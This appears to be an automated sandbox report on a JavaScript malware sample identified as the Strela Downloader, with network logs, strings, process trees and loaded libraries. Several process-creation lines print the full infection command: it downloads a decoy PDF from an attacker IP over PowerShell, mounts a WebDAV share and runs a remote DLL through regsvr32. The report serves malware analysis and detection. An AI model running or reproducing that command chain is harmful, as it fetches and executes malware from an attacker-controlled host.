4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49700

Source: global traffic

TCP traffic: 192.168.2.7:49700 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.7:63383 -> 162.159.36.2:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.7:49699 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000001.00000002.1272451960.000001D1CC4F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 0000000D.00000002.1343627078.000001CBEC665000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1343923725.000001CBEC680000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000003.1341999484.000001CBEC67E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 0000000D.00000003.1342291965.000001CBEC665000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1343627078.000001CBEC665000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/L
Source: net.exe, 0000000D.00000002.1343517317.000001CBEC628000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace=
Source: svchost.exe, 0000000F.00000002.2566613557.000001619220F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.14.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.15.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.14.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.15.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000000F.00000003.1345568570.00000161920F0000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.15.dr, edb.log.15.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: qmgr.db.15.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C:
Source: ReaderMessages.11.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 6220, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 15226731132828820.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2460:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lsbuj0xj.xxr.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 15226731132828820.js

Virustotal: Detection: 8%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15226731132828820.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1752,i,13390201100332667822,13189878363772357830,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1752,i,13390201100332667822,13189878363772357830,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
